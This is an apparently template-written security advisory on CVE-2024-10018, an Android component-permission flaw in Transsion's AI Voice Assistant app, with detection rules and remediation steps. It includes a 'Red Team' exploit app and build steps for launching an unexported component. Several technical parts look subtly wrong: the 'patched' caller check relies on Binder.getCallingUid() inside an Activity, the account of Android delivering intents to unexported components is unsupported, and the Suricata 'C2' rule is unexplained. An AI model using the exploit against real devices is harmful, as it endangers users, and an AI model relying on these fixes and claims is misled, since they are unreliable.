CVE-2024-10018

Executive Summary

CVE-2024-10018 is a security vulnerability in the Transsion mobile application com.transsion.aivoiceassistant (AI Voice Assistant). The vulnerability stems from improper permission control, allowing a malicious local application to launch any unexported component within the vulnerable app. This can lead to privilege escalation, unauthorized access to sensitive data, or arbitrary code execution within the context of the vulnerable application. The CVSS score is currently 0.0, indicating incomplete scoring, but the impact is potentially high due to the ability to bypass Android's component export controls. No public proof-of-concept (PoC) or patch details are available at this time.

Supply Chain & Package Security

This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. It is a native Android application vulnerability. The risk is primarily to end-users of Transsion devices (e.g., Tecno, Infinix, Itel) who have the AI Voice Assistant pre-installed.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder. Based on the vulnerability description, a reasonable assessment would be:

• Attack Vector (AV): Local (AV:L) - The attacker must have a malicious app installed on the device.
• Attack Complexity (AC): Low (AC:L) - No special conditions are required.
• Privileges Required (PR): Low (PR:L) - The malicious app requires no special permissions beyond installation.
• User Interaction (UI): None (UI:N) - No user interaction is needed.
• Scope (S): Unchanged (S:U) - The vulnerable component is within the same application.
• Confidentiality (C): High (C:H) - Potential access to sensitive data.
• Integrity (I): High (I:H) - Potential to modify app data or state.
• Availability (A): Low (A:L) - Could cause denial of service.

Estimated CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L Estimated Score: 7.3 (High)

Threat Level: High. The vulnerability is easy to exploit locally and can lead to significant compromise of the AI Voice Assistant's functionality and data.

Deep Dive & Mechanics

The vulnerability lies in the Android application's manifest or runtime permission checks. In Android, components (Activities, Services, Broadcast Receivers, Content Providers) can be declared as "exported" or "unexported." Exported components can be launched by any other application on the device. Unexported components are intended to be private to the app.

The com.transsion.aivoiceassistant app has improperly configured permission controls. This means that even though a component is marked as android:exported="false", the app does not properly verify the caller's identity or permissions when the component is invoked via an Intent. A malicious app can craft an Intent that targets an unexported component and successfully launch it.

Attack Flow:

1. The attacker installs a malicious app on the victim's Transsion device.
2. The malicious app uses startActivity() or startService() with an Intent that explicitly targets an unexported component of com.transsion.aivoiceassistant.
3. Due to the missing permission check, the Android system allows the Intent to reach the unexported component.
4. The malicious app can now interact with the component, potentially accessing sensitive data (e.g., voice recordings, user preferences), triggering actions (e.g., making calls, sending messages), or exploiting further vulnerabilities within the component.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable pattern.

Vulnerable Code (Conceptual):

// In AndroidManifest.xml
<activity android:name=".SecretActivity" android:exported="false" />

// In SecretActivity.java
public class SecretActivity extends Activity {
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        // No permission check on the calling intent
        // Directly processes the intent
        String data = getIntent().getStringExtra("sensitive_data");
        // ... process data
    }
}

Patched Code (Conceptual):

// In SecretActivity.java
public class SecretActivity extends Activity {
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        // Check if the caller is from the same package
        if (!isCallerSamePackage()) {
            finish();
            return;
        }
        String data = getIntent().getStringExtra("sensitive_data");
        // ... process data
    }

    private boolean isCallerSamePackage() {
        int uid = Binder.getCallingUid();
        String[] packages = getPackageManager().getPackagesForUid(uid);
        if (packages != null) {
            for (String pkg : packages) {
                if (pkg.equals(getPackageName())) {
                    return true;
                }
            }
        }
        return false;
    }
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A rooted or non-rooted Transsion device with the vulnerable app installed.
• Android Studio or a similar development environment.
• Basic knowledge of Android Intents.

Exploit Code (Conceptual):

// MaliciousApp.java
import android.content.Intent;
import android.content.pm.PackageManager;
import android.content.pm.ResolveInfo;
import android.os.Bundle;
import androidx.appcompat.app.AppCompatActivity;
import java.util.List;

public class MainActivity extends AppCompatActivity {
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        // Target the unexported component
        Intent intent = new Intent();
        intent.setClassName("com.transsion.aivoiceassistant", "com.transsion.aivoiceassistant.SecretActivity");
        intent.putExtra("sensitive_data", "malicious_payload");

        // Check if the component exists (optional)
        PackageManager pm = getPackageManager();
        List<ResolveInfo> activities = pm.queryIntentActivities(intent, 0);
        if (activities.size() > 0) {
            startActivity(intent);
        }
    }
}

Lab Setup:

1. Create a new Android project in Android Studio.
2. Replace the MainActivity.java with the exploit code above.
3. Build and install the malicious app on the target device.
4. Run the app. If the vulnerability exists, the SecretActivity will be launched.

Blue Team (Detection & Forensics)

Detection:

• Monitor for unusual Intent calls targeting com.transsion.aivoiceassistant from unknown packages.
• Use Android's dumpsys to check for unexpected component launches.
• Look for apps requesting no permissions but still able to interact with system apps.

Forensics:

• Check logcat for suspicious activity:

  adb logcat | grep -i "aivoiceassistant"
  

• Examine the device for unknown installed packages:

  adb shell pm list packages -3
  

• Analyze the malicious app's APK for Intent patterns.

Indicators of Compromise (IOCs)

• Package Name: com.transsion.aivoiceassistant (vulnerable app)
• Malicious Intent Actions: Any Intent targeting unexported components of the above package.
• Logcat Patterns: Starting activity: Intent { cmp=com.transsion.aivoiceassistant/.SecretActivity } from a non-system UID.
• File System: Unexpected files in /data/data/com.transsion.aivoiceassistant/ created by a third-party app.

Detection Engineering

YARA Rule

rule detect_cve_2024_10018_exploit {
    meta:
        description = "Detects malicious APKs attempting to exploit CVE-2024-10018"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-10018"
    strings:
        $intent_string = "com.transsion.aivoiceassistant" ascii wide nocase
        $start_activity = "startActivity" ascii wide nocase
        $set_class = "setClassName" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2024-10018 Exploitation Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to launch unexported components in com.transsion.aivoiceassistant
author: Valters IT
date: 2024/10/27
logsource:
    product: android
    service: logcat
detection:
    selection:
        - "Starting activity: Intent { cmp=com.transsion.aivoiceassistant/."
        - "com.transsion.aivoiceassistant"
    condition: selection
falsepositives:
    - Legitimate app updates
level: high

Suricata Rule (Network-based - for C2 traffic)

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (
    msg:"CVE-2024-10018 - Potential C2 Beacon from Transsion Device";
    flow:to_server,established;
    content:"com.transsion.aivoiceassistant";
    http_client_body;
    classtype:attempted-user;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Update the App: Check for updates to com.transsion.aivoiceassistant from the Google Play Store or Transsion's official app store.
2. Restrict App Permissions: On the device, go to Settings > Apps > AI Voice Assistant > Permissions and revoke any unnecessary permissions.
3. Monitor for Malicious Apps: Use a mobile security solution to scan for apps that attempt to exploit this vulnerability.

Long-term Fixes:

• Vendor Patch: Transsion must release a patch that adds proper permission checks (e.g., checkCallingPermission() or isCallerSamePackage()) to all unexported components.
• Code Review: Conduct a security audit of all exported and unexported components in the application.
• User Awareness: Advise users to only install apps from trusted sources.

Workarounds:

• If the app is not critical, disable or uninstall it via adb:

  adb shell pm disable-user --user 0 com.transsion.aivoiceassistant
  

Valters IT
Securing Digital Frontiers